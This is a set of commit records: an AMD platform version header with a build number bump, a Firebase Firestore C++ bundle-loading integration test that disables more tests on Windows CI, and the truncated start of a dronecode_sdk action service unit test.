AMD_PLATFORM_REVISION_NUMBER 0\n#endif \/\/ AMD_PLATFORM_REVISION_NUMBER\n\n#ifndef AMD_PLATFORM_RELEASE_INFO\n# define AMD_PLATFORM_RELEASE_INFO\n#endif \/\/ AMD_PLATFORM_RELEASE_INFO\n\n#define AMD_BUILD_STRING XSTR(AMD_PLATFORM_BUILD_NUMBER) \\\n \".\" XSTR(AMD_PLATFORM_REVISION_NUMBER)\n\n#ifndef AMD_PLATFORM_INFO\n# define AMD_PLATFORM_INFO \"AMD-APP\" AMD_PLATFORM_RELEASE_INFO \\\n DEBUG_ONLY(\".\" IF(IS_OPTIMIZED,\"opt\",\"dbg\")) \" (\" AMD_BUILD_STRING \")\"\n#endif \/\/ ATI_PLATFORM_INFO\n\n#endif \/\/ VERSIONS_HPP_\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ Copyright (c) 2010 Advanced Micro Devices, Inc. All rights reserved.\n\/\/\n\n#ifndef VERSIONS_HPP_\n#define VERSIONS_HPP_\n\n#include \"utils\/macros.hpp\"\n\n#ifndef AMD_PLATFORM_NAME\n# define AMD_PLATFORM_NAME \"AMD Accelerated Parallel Processing\"\n#endif \/\/ AMD_PLATFORM_NAME\n\n#ifndef AMD_PLATFORM_BUILD_NUMBER\n# define AMD_PLATFORM_BUILD_NUMBER 1620\n#endif \/\/ AMD_PLATFORM_BUILD_NUMBER\n\n#ifndef AMD_PLATFORM_REVISION_NUMBER\n# define AMD_PLATFORM_REVISION_NUMBER 0\n#endif \/\/ AMD_PLATFORM_REVISION_NUMBER\n\n#ifndef AMD_PLATFORM_RELEASE_INFO\n# define AMD_PLATFORM_RELEASE_INFO\n#endif \/\/ AMD_PLATFORM_RELEASE_INFO\n\n#define AMD_BUILD_STRING XSTR(AMD_PLATFORM_BUILD_NUMBER) \\\n \".\" XSTR(AMD_PLATFORM_REVISION_NUMBER)\n\n#ifndef AMD_PLATFORM_INFO\n# define AMD_PLATFORM_INFO \"AMD-APP\" AMD_PLATFORM_RELEASE_INFO \\\n DEBUG_ONLY(\".\" IF(IS_OPTIMIZED,\"opt\",\"dbg\")) \" (\" AMD_BUILD_STRING \")\"\n#endif \/\/ ATI_PLATFORM_INFO\n\n#endif \/\/ VERSIONS_HPP_\n<commit_msg>P4 to Git Change 1070744 by gandryey@gera-ubuntu14 on 2014\/08\/27 13:47:50<commit_after>\/\/\n\/\/ Copyright (c) 2010 Advanced Micro Devices, Inc. All rights reserved.\n\/\/\n\n#ifndef VERSIONS_HPP_\n#define VERSIONS_HPP_\n\n#include \"utils\/macros.hpp\"\n\n#ifndef AMD_PLATFORM_NAME\n# define AMD_PLATFORM_NAME \"AMD Accelerated Parallel Processing\"\n#endif \/\/ AMD_PLATFORM_NAME\n\n#ifndef AMD_PLATFORM_BUILD_NUMBER\n# define AMD_PLATFORM_BUILD_NUMBER 1621\n#endif \/\/ AMD_PLATFORM_BUILD_NUMBER\n\n#ifndef AMD_PLATFORM_REVISION_NUMBER\n# define AMD_PLATFORM_REVISION_NUMBER 0\n#endif \/\/ AMD_PLATFORM_REVISION_NUMBER\n\n#ifndef AMD_PLATFORM_RELEASE_INFO\n# define AMD_PLATFORM_RELEASE_INFO\n#endif \/\/ AMD_PLATFORM_RELEASE_INFO\n\n#define AMD_BUILD_STRING XSTR(AMD_PLATFORM_BUILD_NUMBER) \\\n \".\" XSTR(AMD_PLATFORM_REVISION_NUMBER)\n\n#ifndef AMD_PLATFORM_INFO\n# define AMD_PLATFORM_INFO \"AMD-APP\" AMD_PLATFORM_RELEASE_INFO \\\n DEBUG_ONLY(\".\" IF(IS_OPTIMIZED,\"opt\",\"dbg\")) \" (\" AMD_BUILD_STRING \")\"\n#endif \/\/ ATI_PLATFORM_INFO\n\n#endif \/\/ VERSIONS_HPP_\n<|endoftext|>"} {"text":"<commit_before>#include <future>\n#include <string>\n#include <vector>\n\n#include \"firebase\/firestore.h\"\n#include \"firebase_test_framework.h\"\n#include \"firestore_integration_test.h\"\n#include \"gmock\/gmock.h\"\n#include \"gtest\/gtest.h\"\n#include \"util\/bundle_builder.h\"\n#include \"util\/event_accumulator.h\"\n#include \"util\/future_test_util.h\"\n\n\/\/ These test cases are in sync with native iOS client SDK test\n\/\/ Firestore\/Example\/Tests\/Integration\/API\/FIRBundlesTests.mm\n\/\/ and native Android client SDK test\n\/\/ firebase_firestore\/tests\/integration_tests\/src\/com\/google\/firebase\/firestore\/BundleTest.java\n\/\/ The iOS test names start with the mandatory test prefix while Android test\n\/\/ names do not. Here we use the Android test names.\n\nnamespace firebase {\nnamespace firestore {\nnamespace {\n\n\/\/ Query names from the testing bundle in bundle_builder.cc\nconstexpr char kLimitQueryName[] = \"limit\";\nconstexpr char kLimitToLastQueryName[] = \"limit-to-last\";\n\nMATCHER_P(\n InProgressWithLoadedDocuments,\n expected_documents,\n std::string(\"Is a valid InProgress update with documents_loaded() == \") +\n std::to_string(expected_documents)) {\n std::string state_string =\n arg.state() == LoadBundleTaskProgress::State::kInProgress\n ? \"kInProgress\"\n : (arg.state() == LoadBundleTaskProgress::State::kError ? \"kError\"\n : \"kSuccess\");\n *result_listener << \"progress state() is \" << state_string\n << \" documents_loaded() is: \" << arg.documents_loaded()\n << \" total_documents() is: \" << arg.total_documents()\n << \" bytes_loaded() is: \" << arg.bytes_loaded()\n << \" total_bytes() is: \" << arg.total_bytes();\n return arg.state() == LoadBundleTaskProgress::State::kInProgress &&\n arg.documents_loaded() == expected_documents &&\n arg.documents_loaded() <= arg.total_documents() &&\n arg.bytes_loaded() <= arg.total_bytes();\n}\n\nvoid VerifySuccessProgress(LoadBundleTaskProgress progress) {\n EXPECT_EQ(progress.state(), LoadBundleTaskProgress::State::kSuccess);\n EXPECT_EQ(progress.documents_loaded(), progress.total_documents());\n EXPECT_EQ(progress.bytes_loaded(), progress.total_bytes());\n}\n\nvoid VerifyErrorProgress(LoadBundleTaskProgress progress) {\n EXPECT_EQ(progress.state(), LoadBundleTaskProgress::State::kError);\n EXPECT_EQ(progress.documents_loaded(), 0);\n EXPECT_EQ(progress.bytes_loaded(), 0);\n}\n\nstd::string CreateTestBundle(Firestore* db) {\n return CreateBundle(db->app()->options().project_id());\n}\n\nclass BundleTest : public FirestoreIntegrationTest {\n protected:\n void SetUp() override {\n FirestoreIntegrationTest::SetUp();\n \/\/ Clear the storage to avoid tests interfering with each other, since they\n \/\/ will be loading the same bundle file.\n ASSERT_THAT(TestFirestore()->ClearPersistence(), FutureSucceeds());\n }\n\n template <typename T>\n T AwaitResult(const Future<T>& future) {\n auto* ptr = Await(future);\n EXPECT_NE(ptr, nullptr);\n \/\/ Return default instance instead of crashing.\n if (ptr == nullptr) {\n return {};\n }\n\n return *ptr;\n }\n\n void VerifyQueryResults(Firestore* db) {\n {\n auto snapshot = AwaitResult(db->Collection(\"coll-1\").Get(Source::kCache));\n EXPECT_THAT(\n QuerySnapshotToValues(snapshot),\n testing::ElementsAre(MapFieldValue{{\"k\", FieldValue::String(\"a\")},\n {\"bar\", FieldValue::Integer(1)}},\n MapFieldValue{{\"k\", FieldValue::String(\"b\")},\n {\"bar\", FieldValue::Integer(2)}}));\n }\n\n {\n Query limit = AwaitResult(db->NamedQuery(kLimitQueryName));\n auto limit_snapshot = AwaitResult(limit.Get(Source::kCache));\n EXPECT_THAT(\n QuerySnapshotToValues(limit_snapshot),\n testing::ElementsAre(MapFieldValue{{\"k\", FieldValue::String(\"b\")},\n {\"bar\", FieldValue::Integer(2)}}));\n }\n\n {\n Query limit_to_last = AwaitResult(db->NamedQuery(kLimitToLastQueryName));\n auto limit_to_last_snapshot =\n AwaitResult(limit_to_last.Get(Source::kCache));\n EXPECT_THAT(\n QuerySnapshotToValues(limit_to_last_snapshot),\n testing::ElementsAre(MapFieldValue{{\"k\", FieldValue::String(\"a\")},\n {\"bar\", FieldValue::Integer(1)}}));\n }\n }\n};\n\nTEST_F(BundleTest, CanLoadBundlesWithoutProgressUpdates) {\n Firestore* db = TestFirestore();\n auto bundle = CreateTestBundle(db);\n\n Future<LoadBundleTaskProgress> result = db->LoadBundle(bundle);\n\n VerifySuccessProgress(AwaitResult(result));\n VerifyQueryResults(db);\n}\n\nTEST_F(BundleTest, CanLoadBundlesWithProgressUpdates) {\n Firestore* db = TestFirestore();\n auto bundle = CreateTestBundle(db);\n\n std::vector<LoadBundleTaskProgress> progresses;\n Future<LoadBundleTaskProgress> result = db->LoadBundle(\n bundle, [&progresses](const LoadBundleTaskProgress& progress) {\n progresses.push_back(progress);\n });\n\n auto final_progress = AwaitResult(result);\n\n \/\/ 4 progresses will be reported: initial, document 1, document 2, final\n \/\/ success.\n ASSERT_EQ(progresses.size(), 4);\n EXPECT_THAT(progresses[0], InProgressWithLoadedDocuments(0));\n EXPECT_THAT(progresses[1], InProgressWithLoadedDocuments(1));\n EXPECT_THAT(progresses[2], InProgressWithLoadedDocuments(2));\n VerifySuccessProgress(progresses[3]);\n EXPECT_EQ(progresses[3], final_progress);\n\n VerifyQueryResults(db);\n}\n\nTEST_F(BundleTest, CanDeleteFirestoreFromProgressUpdate) {\n Firestore* db = TestFirestore();\n auto bundle = CreateTestBundle(db);\n\n std::promise<void> db_deleted;\n std::vector<LoadBundleTaskProgress> progresses;\n Future<LoadBundleTaskProgress> result =\n db->LoadBundle(bundle, [this, db, &progresses, &db_deleted](\n const LoadBundleTaskProgress& progress) {\n progresses.push_back(progress);\n \/\/ Delete firestore before the final progress.\n if (progresses.size() == 3) {\n DeleteFirestore(db);\n db_deleted.set_value();\n }\n });\n\n \/\/ Wait for the notification that the instance is deleted before verifying.\n db_deleted.get_future().wait();\n\n \/\/ This future is not completed, and returns back a nullptr for result when it\n \/\/ times out.\n EXPECT_EQ(Await(result), nullptr);\n\n \/\/ 3 progresses will be reported: initial, document 1, document 2.\n \/\/ Final progress update is missing because Firestore is deleted before that.\n ASSERT_EQ(progresses.size(), 3);\n EXPECT_THAT(progresses[0], InProgressWithLoadedDocuments(0));\n EXPECT_THAT(progresses[1], InProgressWithLoadedDocuments(1));\n EXPECT_THAT(progresses[2], InProgressWithLoadedDocuments(2));\n}\n\nTEST_F(BundleTest, LoadBundlesForASecondTimeSkips) {\n \/\/ TODO(wuandy): This test fails on Windows CI, but\n \/\/ local run is fine. We need to figure out why and re-enable it.\n SKIP_TEST_ON_WINDOWS;\n\n Firestore* db = TestFirestore();\n auto bundle = CreateTestBundle(db);\n LoadBundleTaskProgress first_load = AwaitResult(db->LoadBundle(bundle));\n VerifySuccessProgress(first_load);\n\n std::vector<LoadBundleTaskProgress> progresses;\n LoadBundleTaskProgress second_load = AwaitResult(db->LoadBundle(\n bundle, [&progresses](const LoadBundleTaskProgress& progress) {\n progresses.push_back(progress);\n }));\n\n \/\/ There will be 4 progress updates if it does not skip loading.\n ASSERT_EQ(progresses.size(), 1);\n VerifySuccessProgress(progresses[0]);\n EXPECT_EQ(progresses[0], second_load);\n\n VerifyQueryResults(db);\n}\n\nTEST_F(BundleTest, LoadInvalidBundlesShouldFail) {\n \/\/ TODO(wuandy): This test fails on Windows CI, but\n \/\/ local run is fine. We need to figure out why and re-enable it.\n SKIP_TEST_ON_WINDOWS;\n\n Firestore* db = TestFirestore();\n std::vector<std::string> invalid_bundles{\n \"invalid bundle obviously\", \"\\\"(╯°□°)╯︵ ┻━┻\\\"\",\n \"\\xc3\\x28\" \/\/ random bytes\n };\n for (const auto& bundle : invalid_bundles) {\n std::vector<LoadBundleTaskProgress> progresses;\n Future<LoadBundleTaskProgress> result = db->LoadBundle(\n bundle, [&progresses](const LoadBundleTaskProgress& progress) {\n progresses.push_back(progress);\n });\n Await(result);\n\n EXPECT_NE(result.error(), Error::kErrorOk);\n ASSERT_EQ(progresses.size(), 1);\n VerifyErrorProgress(progresses[0]);\n }\n}\n\nTEST_F(BundleTest, LoadBundleWithDocumentsAlreadyPulledFromBackend) {\n Firestore* db = TestFirestore();\n auto collection = db->Collection(\"coll-1\");\n WriteDocuments(collection,\n {\n {\"a\", {{\"bar\", FieldValue::String(\"newValueA\")}}},\n {\"b\", {{\"bar\", FieldValue::String(\"newValueB\")}}},\n });\n EventAccumulator<QuerySnapshot> accumulator;\n ListenerRegistration limit_registration =\n accumulator.listener()->AttachTo(&collection);\n accumulator.AwaitRemoteEvent();\n\n \/\/ The test bundle is holding ancient documents, so no events are generated as\n \/\/ a result. The case where a bundle has newer doc than cache can only be\n \/\/ tested in spec tests.\n accumulator.FailOnNextEvent();\n\n auto bundle = CreateTestBundle(db);\n VerifySuccessProgress(AwaitResult(db->LoadBundle(bundle)));\n\n EXPECT_THAT(QuerySnapshotToValues(*Await(collection.Get(Source::kCache))),\n testing::ElementsAre(\n MapFieldValue{{\"bar\", FieldValue::String(\"newValueA\")}},\n MapFieldValue{{\"bar\", FieldValue::String(\"newValueB\")}}));\n\n {\n Query limit = AwaitResult(db->NamedQuery(kLimitQueryName));\n EXPECT_THAT(QuerySnapshotToValues(AwaitResult(limit.Get(Source::kCache))),\n testing::ElementsAre(\n MapFieldValue{{\"bar\", FieldValue::String(\"newValueB\")}}));\n }\n\n {\n Query limit_to_last = AwaitResult(db->NamedQuery(kLimitToLastQueryName));\n EXPECT_THAT(\n QuerySnapshotToValues(AwaitResult(limit_to_last.Get(Source::kCache))),\n testing::ElementsAre(\n MapFieldValue{{\"bar\", FieldValue::String(\"newValueA\")}}));\n }\n}\n\nTEST_F(BundleTest, LoadedDocumentsShouldNotBeGarbageCollectedRightAway) {\n Firestore* db = TestFirestore();\n \/\/ This test really only makes sense with memory persistence, as disk\n \/\/ persistence only ever lazily deletes data.\n auto new_settings = db->settings();\n new_settings.set_persistence_enabled(false);\n db->set_settings(new_settings);\n\n auto bundle = CreateTestBundle(db);\n VerifySuccessProgress(AwaitResult(db->LoadBundle(bundle)));\n\n \/\/ Read a different collection. This will trigger GC.\n Await(db->Collection(\"coll-other\").Get());\n\n \/\/ Read the loaded documents, expecting them to exist in cache. With memory\n \/\/ GC, the documents would get GC-ed if we did not hold the document keys in\n \/\/ an \"umbrella\" target. See LocalStore for details.\n VerifyQueryResults(db);\n}\n\nTEST_F(BundleTest, LoadDocumentsFromOtherProjectsShouldFail) {\n Firestore* db = TestFirestore();\n auto bundle = CreateBundle(\"other-project\");\n std::vector<LoadBundleTaskProgress> progresses;\n Future<LoadBundleTaskProgress> result = db->LoadBundle(\n bundle, [&progresses](const LoadBundleTaskProgress& progress) {\n progresses.push_back(progress);\n });\n Await(result);\n\n EXPECT_NE(result.error(), Error::kErrorOk);\n ASSERT_EQ(progresses.size(), 2);\n EXPECT_THAT(progresses[0], InProgressWithLoadedDocuments(0));\n VerifyErrorProgress(progresses[1]);\n}\n\nTEST_F(BundleTest, GetInvalidNamedQuery) {\n Firestore* db = TestFirestore();\n {\n auto future = db->NamedQuery(\"DOES_NOT_EXIST\");\n Await(future);\n EXPECT_EQ(future.status(), FutureStatus::kFutureStatusComplete);\n EXPECT_EQ(future.error(), Error::kErrorNotFound);\n }\n {\n auto future = db->NamedQuery(\"\");\n Await(future);\n EXPECT_EQ(future.status(), FutureStatus::kFutureStatusComplete);\n EXPECT_EQ(future.error(), Error::kErrorNotFound);\n }\n {\n auto future = db->NamedQuery(\"\\xc3\\x28\");\n Await(future);\n EXPECT_EQ(future.status(), FutureStatus::kFutureStatusComplete);\n EXPECT_EQ(future.error(), Error::kErrorNotFound);\n }\n}\n\n} \/\/ namespace\n} \/\/ namespace firestore\n} \/\/ namespace firebase\n<commit_msg>Disable more bundles tests that fail in Windows CI (#440)<commit_after>#include <future>\n#include <string>\n#include <vector>\n\n#include \"firebase\/firestore.h\"\n#include \"firebase_test_framework.h\"\n#include \"firestore_integration_test.h\"\n#include \"gmock\/gmock.h\"\n#include \"gtest\/gtest.h\"\n#include \"util\/bundle_builder.h\"\n#include \"util\/event_accumulator.h\"\n#include \"util\/future_test_util.h\"\n\n\/\/ These test cases are in sync with native iOS client SDK test\n\/\/ Firestore\/Example\/Tests\/Integration\/API\/FIRBundlesTests.mm\n\/\/ and native Android client SDK test\n\/\/ firebase_firestore\/tests\/integration_tests\/src\/com\/google\/firebase\/firestore\/BundleTest.java\n\/\/ The iOS test names start with the mandatory test prefix while Android test\n\/\/ names do not. Here we use the Android test names.\n\nnamespace firebase {\nnamespace firestore {\nnamespace {\n\n\/\/ Query names from the testing bundle in bundle_builder.cc\nconstexpr char kLimitQueryName[] = \"limit\";\nconstexpr char kLimitToLastQueryName[] = \"limit-to-last\";\n\nMATCHER_P(\n InProgressWithLoadedDocuments,\n expected_documents,\n std::string(\"Is a valid InProgress update with documents_loaded() == \") +\n std::to_string(expected_documents)) {\n std::string state_string =\n arg.state() == LoadBundleTaskProgress::State::kInProgress\n ? \"kInProgress\"\n : (arg.state() == LoadBundleTaskProgress::State::kError ? \"kError\"\n : \"kSuccess\");\n *result_listener << \"progress state() is \" << state_string\n << \" documents_loaded() is: \" << arg.documents_loaded()\n << \" total_documents() is: \" << arg.total_documents()\n << \" bytes_loaded() is: \" << arg.bytes_loaded()\n << \" total_bytes() is: \" << arg.total_bytes();\n return arg.state() == LoadBundleTaskProgress::State::kInProgress &&\n arg.documents_loaded() == expected_documents &&\n arg.documents_loaded() <= arg.total_documents() &&\n arg.bytes_loaded() <= arg.total_bytes();\n}\n\nvoid VerifySuccessProgress(LoadBundleTaskProgress progress) {\n EXPECT_EQ(progress.state(), LoadBundleTaskProgress::State::kSuccess);\n EXPECT_EQ(progress.documents_loaded(), progress.total_documents());\n EXPECT_EQ(progress.bytes_loaded(), progress.total_bytes());\n}\n\nvoid VerifyErrorProgress(LoadBundleTaskProgress progress) {\n EXPECT_EQ(progress.state(), LoadBundleTaskProgress::State::kError);\n EXPECT_EQ(progress.documents_loaded(), 0);\n EXPECT_EQ(progress.bytes_loaded(), 0);\n}\n\nstd::string CreateTestBundle(Firestore* db) {\n return CreateBundle(db->app()->options().project_id());\n}\n\nclass BundleTest : public FirestoreIntegrationTest {\n protected:\n void SetUp() override {\n FirestoreIntegrationTest::SetUp();\n \/\/ Clear the storage to avoid tests interfering with each other, since they\n \/\/ will be loading the same bundle file.\n ASSERT_THAT(TestFirestore()->ClearPersistence(), FutureSucceeds());\n }\n\n template <typename T>\n T AwaitResult(const Future<T>& future) {\n auto* ptr = Await(future);\n EXPECT_NE(ptr, nullptr);\n \/\/ Return default instance instead of crashing.\n if (ptr == nullptr) {\n return {};\n }\n\n return *ptr;\n }\n\n void VerifyQueryResults(Firestore* db) {\n {\n auto snapshot = AwaitResult(db->Collection(\"coll-1\").Get(Source::kCache));\n EXPECT_THAT(\n QuerySnapshotToValues(snapshot),\n testing::ElementsAre(MapFieldValue{{\"k\", FieldValue::String(\"a\")},\n {\"bar\", FieldValue::Integer(1)}},\n MapFieldValue{{\"k\", FieldValue::String(\"b\")},\n {\"bar\", FieldValue::Integer(2)}}));\n }\n\n {\n Query limit = AwaitResult(db->NamedQuery(kLimitQueryName));\n auto limit_snapshot = AwaitResult(limit.Get(Source::kCache));\n EXPECT_THAT(\n QuerySnapshotToValues(limit_snapshot),\n testing::ElementsAre(MapFieldValue{{\"k\", FieldValue::String(\"b\")},\n {\"bar\", FieldValue::Integer(2)}}));\n }\n\n {\n Query limit_to_last = AwaitResult(db->NamedQuery(kLimitToLastQueryName));\n auto limit_to_last_snapshot =\n AwaitResult(limit_to_last.Get(Source::kCache));\n EXPECT_THAT(\n QuerySnapshotToValues(limit_to_last_snapshot),\n testing::ElementsAre(MapFieldValue{{\"k\", FieldValue::String(\"a\")},\n {\"bar\", FieldValue::Integer(1)}}));\n }\n }\n};\n\nTEST_F(BundleTest, CanLoadBundlesWithoutProgressUpdates) {\n Firestore* db = TestFirestore();\n auto bundle = CreateTestBundle(db);\n\n Future<LoadBundleTaskProgress> result = db->LoadBundle(bundle);\n\n VerifySuccessProgress(AwaitResult(result));\n VerifyQueryResults(db);\n}\n\nTEST_F(BundleTest, CanLoadBundlesWithProgressUpdates) {\n Firestore* db = TestFirestore();\n auto bundle = CreateTestBundle(db);\n\n std::vector<LoadBundleTaskProgress> progresses;\n Future<LoadBundleTaskProgress> result = db->LoadBundle(\n bundle, [&progresses](const LoadBundleTaskProgress& progress) {\n progresses.push_back(progress);\n });\n\n auto final_progress = AwaitResult(result);\n\n \/\/ 4 progresses will be reported: initial, document 1, document 2, final\n \/\/ success.\n ASSERT_EQ(progresses.size(), 4);\n EXPECT_THAT(progresses[0], InProgressWithLoadedDocuments(0));\n EXPECT_THAT(progresses[1], InProgressWithLoadedDocuments(1));\n EXPECT_THAT(progresses[2], InProgressWithLoadedDocuments(2));\n VerifySuccessProgress(progresses[3]);\n EXPECT_EQ(progresses[3], final_progress);\n\n VerifyQueryResults(db);\n}\n\nTEST_F(BundleTest, CanDeleteFirestoreFromProgressUpdate) {\n Firestore* db = TestFirestore();\n auto bundle = CreateTestBundle(db);\n\n std::promise<void> db_deleted;\n std::vector<LoadBundleTaskProgress> progresses;\n Future<LoadBundleTaskProgress> result =\n db->LoadBundle(bundle, [this, db, &progresses, &db_deleted](\n const LoadBundleTaskProgress& progress) {\n progresses.push_back(progress);\n \/\/ Delete firestore before the final progress.\n if (progresses.size() == 3) {\n DeleteFirestore(db);\n db_deleted.set_value();\n }\n });\n\n \/\/ Wait for the notification that the instance is deleted before verifying.\n db_deleted.get_future().wait();\n\n \/\/ This future is not completed, and returns back a nullptr for result when it\n \/\/ times out.\n EXPECT_EQ(Await(result), nullptr);\n\n \/\/ 3 progresses will be reported: initial, document 1, document 2.\n \/\/ Final progress update is missing because Firestore is deleted before that.\n ASSERT_EQ(progresses.size(), 3);\n EXPECT_THAT(progresses[0], InProgressWithLoadedDocuments(0));\n EXPECT_THAT(progresses[1], InProgressWithLoadedDocuments(1));\n EXPECT_THAT(progresses[2], InProgressWithLoadedDocuments(2));\n}\n\nTEST_F(BundleTest, LoadBundlesForASecondTimeSkips) {\n \/\/ TODO(wuandy): This test fails on Windows CI, but\n \/\/ local run is fine. We need to figure out why and re-enable it.\n SKIP_TEST_ON_WINDOWS;\n\n Firestore* db = TestFirestore();\n auto bundle = CreateTestBundle(db);\n LoadBundleTaskProgress first_load = AwaitResult(db->LoadBundle(bundle));\n VerifySuccessProgress(first_load);\n\n std::vector<LoadBundleTaskProgress> progresses;\n LoadBundleTaskProgress second_load = AwaitResult(db->LoadBundle(\n bundle, [&progresses](const LoadBundleTaskProgress& progress) {\n progresses.push_back(progress);\n }));\n\n \/\/ There will be 4 progress updates if it does not skip loading.\n ASSERT_EQ(progresses.size(), 1);\n VerifySuccessProgress(progresses[0]);\n EXPECT_EQ(progresses[0], second_load);\n\n VerifyQueryResults(db);\n}\n\nTEST_F(BundleTest, LoadInvalidBundlesShouldFail) {\n \/\/ TODO(wuandy): This test fails on Windows CI, but\n \/\/ local run is fine. We need to figure out why and re-enable it.\n SKIP_TEST_ON_WINDOWS;\n\n Firestore* db = TestFirestore();\n std::vector<std::string> invalid_bundles{\n \"invalid bundle obviously\", \"\\\"(╯°□°)╯︵ ┻━┻\\\"\",\n \"\\xc3\\x28\" \/\/ random bytes\n };\n for (const auto& bundle : invalid_bundles) {\n std::vector<LoadBundleTaskProgress> progresses;\n Future<LoadBundleTaskProgress> result = db->LoadBundle(\n bundle, [&progresses](const LoadBundleTaskProgress& progress) {\n progresses.push_back(progress);\n });\n Await(result);\n\n EXPECT_NE(result.error(), Error::kErrorOk);\n ASSERT_EQ(progresses.size(), 1);\n VerifyErrorProgress(progresses[0]);\n }\n}\n\nTEST_F(BundleTest, LoadBundleWithDocumentsAlreadyPulledFromBackend) {\n \/\/ TODO(wuandy, b\/189477267): This test fails on Windows CI, but\n \/\/ local run is fine. We need to figure out why and re-enable it.\n SKIP_TEST_ON_WINDOWS;\n\n Firestore* db = TestFirestore();\n auto collection = db->Collection(\"coll-1\");\n WriteDocuments(collection,\n {\n {\"a\", {{\"bar\", FieldValue::String(\"newValueA\")}}},\n {\"b\", {{\"bar\", FieldValue::String(\"newValueB\")}}},\n });\n EventAccumulator<QuerySnapshot> accumulator;\n ListenerRegistration limit_registration =\n accumulator.listener()->AttachTo(&collection);\n accumulator.AwaitRemoteEvent();\n\n \/\/ The test bundle is holding ancient documents, so no events are generated as\n \/\/ a result. The case where a bundle has newer doc than cache can only be\n \/\/ tested in spec tests.\n accumulator.FailOnNextEvent();\n\n auto bundle = CreateTestBundle(db);\n VerifySuccessProgress(AwaitResult(db->LoadBundle(bundle)));\n\n EXPECT_THAT(QuerySnapshotToValues(*Await(collection.Get(Source::kCache))),\n testing::ElementsAre(\n MapFieldValue{{\"bar\", FieldValue::String(\"newValueA\")}},\n MapFieldValue{{\"bar\", FieldValue::String(\"newValueB\")}}));\n\n {\n Query limit = AwaitResult(db->NamedQuery(kLimitQueryName));\n EXPECT_THAT(QuerySnapshotToValues(AwaitResult(limit.Get(Source::kCache))),\n testing::ElementsAre(\n MapFieldValue{{\"bar\", FieldValue::String(\"newValueB\")}}));\n }\n\n {\n Query limit_to_last = AwaitResult(db->NamedQuery(kLimitToLastQueryName));\n EXPECT_THAT(\n QuerySnapshotToValues(AwaitResult(limit_to_last.Get(Source::kCache))),\n testing::ElementsAre(\n MapFieldValue{{\"bar\", FieldValue::String(\"newValueA\")}}));\n }\n}\n\nTEST_F(BundleTest, LoadedDocumentsShouldNotBeGarbageCollectedRightAway) {\n \/\/ TODO(wuandy, b\/189477267): This test fails on Windows CI, but\n \/\/ local run is fine. We need to figure out why and re-enable it.\n SKIP_TEST_ON_WINDOWS;\n\n Firestore* db = TestFirestore();\n \/\/ This test really only makes sense with memory persistence, as disk\n \/\/ persistence only ever lazily deletes data.\n auto new_settings = db->settings();\n new_settings.set_persistence_enabled(false);\n db->set_settings(new_settings);\n\n auto bundle = CreateTestBundle(db);\n VerifySuccessProgress(AwaitResult(db->LoadBundle(bundle)));\n\n \/\/ Read a different collection. This will trigger GC.\n Await(db->Collection(\"coll-other\").Get());\n\n \/\/ Read the loaded documents, expecting them to exist in cache. With memory\n \/\/ GC, the documents would get GC-ed if we did not hold the document keys in\n \/\/ an \"umbrella\" target. See LocalStore for details.\n VerifyQueryResults(db);\n}\n\nTEST_F(BundleTest, LoadDocumentsFromOtherProjectsShouldFail) {\n Firestore* db = TestFirestore();\n auto bundle = CreateBundle(\"other-project\");\n std::vector<LoadBundleTaskProgress> progresses;\n Future<LoadBundleTaskProgress> result = db->LoadBundle(\n bundle, [&progresses](const LoadBundleTaskProgress& progress) {\n progresses.push_back(progress);\n });\n Await(result);\n\n EXPECT_NE(result.error(), Error::kErrorOk);\n ASSERT_EQ(progresses.size(), 2);\n EXPECT_THAT(progresses[0], InProgressWithLoadedDocuments(0));\n VerifyErrorProgress(progresses[1]);\n}\n\nTEST_F(BundleTest, GetInvalidNamedQuery) {\n Firestore* db = TestFirestore();\n {\n auto future = db->NamedQuery(\"DOES_NOT_EXIST\");\n Await(future);\n EXPECT_EQ(future.status(), FutureStatus::kFutureStatusComplete);\n EXPECT_EQ(future.error(), Error::kErrorNotFound);\n }\n {\n auto future = db->NamedQuery(\"\");\n Await(future);\n EXPECT_EQ(future.status(), FutureStatus::kFutureStatusComplete);\n EXPECT_EQ(future.error(), Error::kErrorNotFound);\n }\n {\n auto future = db->NamedQuery(\"\\xc3\\x28\");\n Await(future);\n EXPECT_EQ(future.status(), FutureStatus::kFutureStatusComplete);\n EXPECT_EQ(future.error(), Error::kErrorNotFound);\n }\n}\n\n} \/\/ namespace\n} \/\/ namespace firestore\n} \/\/ namespace firebase\n<|endoftext|>"} {"text":"<commit_before>#include <gmock\/gmock.h>\n#include <string>\n#include <utility>\n#include <vector>\n\n#include \"action\/action_service_impl.h\"\n#include \"action\/mocks\/action_mock.h\"\n\nnamespace {\n\nusing testing::_;\nusing testing::NiceMock;\nusing testing::Return;\n\nusing MockAction = NiceMock<dronecode_sdk::testing::MockAction>;\nusing ActionServiceImpl = dronecode_sdk::backend::ActionServiceImpl<MockAction>;\n\nusing ActionResult = dronecode_sdk::rpc::action::ActionResult;\nusing InputPair = std::pair<std::string, dronecode_sdk::ActionResult>;\n\nstatic constexpr float ARBITRARY_ALTITUDE = 42.42f;\nstatic constexpr float ARBITRARY_SPEED = 8.24f;\n\nstd::vector<InputPair> generateInputPairs();\nstd::string armAndGetTranslatedResult(dronecode_sdk::ActionResult arm_result);\nstd::string disarmAndGetTranslatedResult(dronecode_sdk::ActionResult disarm_result);\nstd::string takeoffAndGetTranslatedResult(dronecode_sdk::ActionResult takeoff_result);\nstd::string landAndGetTranslatedResult(dronecode_sdk::ActionResult land_result);\nstd::string killAndGetTranslatedResult(dronecode_sdk::ActionResult kill_result);\nstd::string returnToLaunchAndGetTranslatedResult(dronecode_sdk::ActionResult rtl_result);\nstd::string\ntransitionToFWAndGetTranslatedResult(const dronecode_sdk::ActionResult transition_to_fw_result);\nstd::string\ntransitionToMCAndGetTranslatedResult(const dronecode_sdk::ActionResult transition_to_fw_result);\n\nclass ActionServiceImplTest : public ::testing::TestWithParam<InputPair> {};\n\nTEST_P(ActionServiceImplTest, armResultIsTranslatedCorrectly)\n{\n const auto rpc_result = armAndGetTranslatedResult(GetParam().second);\n EXPECT_EQ(rpc_result, GetParam().first);\n}\n\nstd::string armAndGetTranslatedResult(const dronecode_sdk::ActionResult arm_result)\n{\n MockAction action;\n ON_CALL(action, arm()).WillByDefault(Return(arm_result));\n ActionServiceImpl actionService(action);\n dronecode_sdk::rpc::action::ArmResponse response;\n\n actionService.Arm(nullptr, nullptr, &response);\n\n return ActionResult::Result_Name(response.action_result().result());\n}\n\nTEST_F(ActionServiceImplTest, armsEvenWhenArgsAreNull)\n{\n MockAction action;\n ActionServiceImpl actionService(action);\n 